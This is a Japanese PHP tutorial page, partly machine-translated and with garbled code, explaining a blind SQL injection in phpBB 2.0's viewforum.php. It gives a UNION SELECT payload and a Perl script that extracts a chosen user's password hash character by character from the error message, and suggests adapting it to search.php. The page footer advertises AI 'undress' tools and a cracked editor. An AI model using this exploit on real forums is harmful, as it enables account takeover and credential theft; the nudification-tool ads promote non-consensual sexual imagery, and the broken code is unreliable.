検索
ホームページphp教程php手册PHPインジェクションの例

PHPインジェクションの例

Jun 13, 2016 pm 12:44 PM
phpコードについて利用そして存在する全体記事はい注射


PHPインジェクションの例 PHP インジェクションとアプリケーション コードに関する完全な記事をインターネット上で見つけるのは難しいので、他の人にインスピレーションを与えることを願って、私は数週間 mysql と PHP を勉強しました。
と信じています。私は asp のインジェクションについてはすでによく知っていますが、php の magic_gpc オプションは本当に頭の痛い問題なので、インジェクションでは引用符を使用しないでください。 php は主に mysql と組み合わされており、別の人から見ると mysql の機能上の欠点はあるものの、SQL インジェクション攻撃をある程度防ぐことができます。ここでは phpbb2.0 を例に挙げます。 >viewforum.php にフィルタリングされていない変数があります:
if ( isset($HTTP_GET_VARS{
$forum_id = ( isset ($HTTP_GET_VARS
($HTTP_POST_VARSelse if ( isset($HTTP_GET_VARS['フォーラム']))
{
$forum_id = $ HTTP_GET_VARS['フォーラム']
}
else
{
$forum_id = ''; >これはこのフォーラムであり、以下のクエリに直接入力されます:
if ( !empty($forum_id) )
{
$sql = "SELECT *
FROM " .
WHERE forum_id = $forum_id";
if ( ! ($result = $db->sql_query($sql)) )
{
message_die(GENERAL_ERROR, 'フォーラム情報を取得できませんでした' , '', __LINE__, __FILE__, $sql);
}
}
else
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist')

asp の場合、この forum_id を指定すると、フォーラムが存在しない場合、$result が空になり、「フォーラムの情報が取得できませんでした」というメッセージが返されるため、以下のコードは実行できません。実行されました
//
// クエリが行を返さない場合、これは有効なフォーラムではありません。
//
if ( !($) forum_row = $db->sql_fetchrow($result)) )
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist')
}

//
// セッション管理を開始します。
//
$userdata = session_pagestart($user_ip, $forum_id ) /***************************** **********

重要なのは、アスタリスクでマークされた行です。ここにある関数は session_pagestart($user_ip, $thispage_id) で、これは session.php で定義されている関数です。コードは

すぎるので、全文は掲載しません。興味のある方はご自身でご覧ください。関数の呼び出しは次のとおりです。 session_begin($user_id, $user_ip,

$thispage_id, TRUE))、このファイルにも定義されており、次のコードが含まれています
$sql = "SESSIONS_TABLE" 。 >SET session_user_id = $user_id, session_start = $current_time, session_time = $current_time, session_page =

$page_id, session_logged_in = $login
WHERE session_id = '" . $session_id . "'
AND session_ip = '$user_ip'";
if ( !($result = $db->sql_query($sql)) ││ !$db->sql_affectedrows() )
{
$session_id = md5(uniqid($user_ip));

$sql = "INSERT INTO " . "
(session_id, session_user_id, session_start, session_ip, session_page,

session_logged_in) )
VALUES ('$session_id', $user_id, $current_time, $current_time, '$user_ip', $page_id, $login)";
if ( !($result = $db->sql_query( $sql)) )
{
message_die(CRITICAL_ERROR, '新しいセッションの作成エラー: session_begin', '', __LINE__ , __FILE__,

$sql);


ここには mysql で整数として定義されている session_page があり、その値 $page_id も $forum_id です。挿入された値が整数でない場合、エラーが報告され、エラーが発生します。

creating new session: session_begin プロンプトが表示されるため、$forum_id の値を参照することが非常に重要なので、次のように指定しました:-1 Union select 1,1,1,1,1,1, 1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1 (user_id=2 および ord(substring(user_password,1,1))= の phpbb_users から57、引用符は不要です。存在しない forum_id が指定されていますが、返されるクエリ結果は必ずしも空ではありません。これは、user_id が 2 であるユーザーの最初のパスワードの ASCII コード値が 57 であるかどうかを推測するためです。記事 最初のコードの $result が空ではないので、問題のある関数 session_pagestart が実行されます。挿入された数値が整数でない場合は、当然エラーが発生します。したがって、Error created new session: session_begin が表示されます。

このようなエラーメッセージがないと、注入が成功しても成功したかどうかの判断が難しいと思います。エラー メッセージも非常に役立つようです。以下にテスト コードを添付します。ここでは、英語版を使用します。中国語およびその他の言語の場合は、

use HTTP::Response;
use LWP::UserAgent; を変更します。 >$ua = 新しい LWP::UserAgent;

print " **********************n"; viewforum.php expn";
print " code by pineyesn" ;
print " www.icehack.comn";
print " ***************** *******n";
print "脆弱なファイルの URL を入力してください:n";
print "例: http://192.168.1.4/phpBB2/viewforum.phpn";
$ adr=;
chomp($adr) ;
print "解読したいuser_idを入力してください";
$u=; );
print "作業を開始します。お待ちください!n" ;
@pink=(@pink,97..102); $j=1;$jfor ($i=0;$i$url=$adr."?forum=-1 Union select 1,1,1,1,1,1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from phpbb_users where%

20user_id=$u and ord(substring(user_password ,$j,1))=$pink[$i]";
$request = HTTP::Request->new('GET', "$url");
$response = $ua- >request($request);

if ($response->is_success) {
if ($response->content) =~ /新しいセッションの作成エラー/) {
$pwd .=chr($pink[$i]);
print "$pwdn";

}
}
}
if ($pwd ne "" ){
print "成功しました、パスワードは $pwd です、頑張ってください";}
else{
print "不運です、仕事は失敗しました!n";}

最近の phpbb2 .0.6 の search.php の問題については、上記のコードを少し変更するだけで悪用できます。エラーがある場合は、www.icehack.com にアクセスしてください。それらを修正してください。

声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

EditPlus 中国語クラック版

EditPlus 中国語クラック版

サイズが小さく、構文の強調表示、コード プロンプト機能はサポートされていません

SublimeText3 Linux 新バージョン

SublimeText3 Linux 新バージョン

SublimeText3 Linux 最新バージョン

WebStorm Mac版

WebStorm Mac版

便利なJavaScript開発ツール

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

AtomエディタMac版ダウンロード

AtomエディタMac版ダウンロード

最も人気のあるオープンソースエディター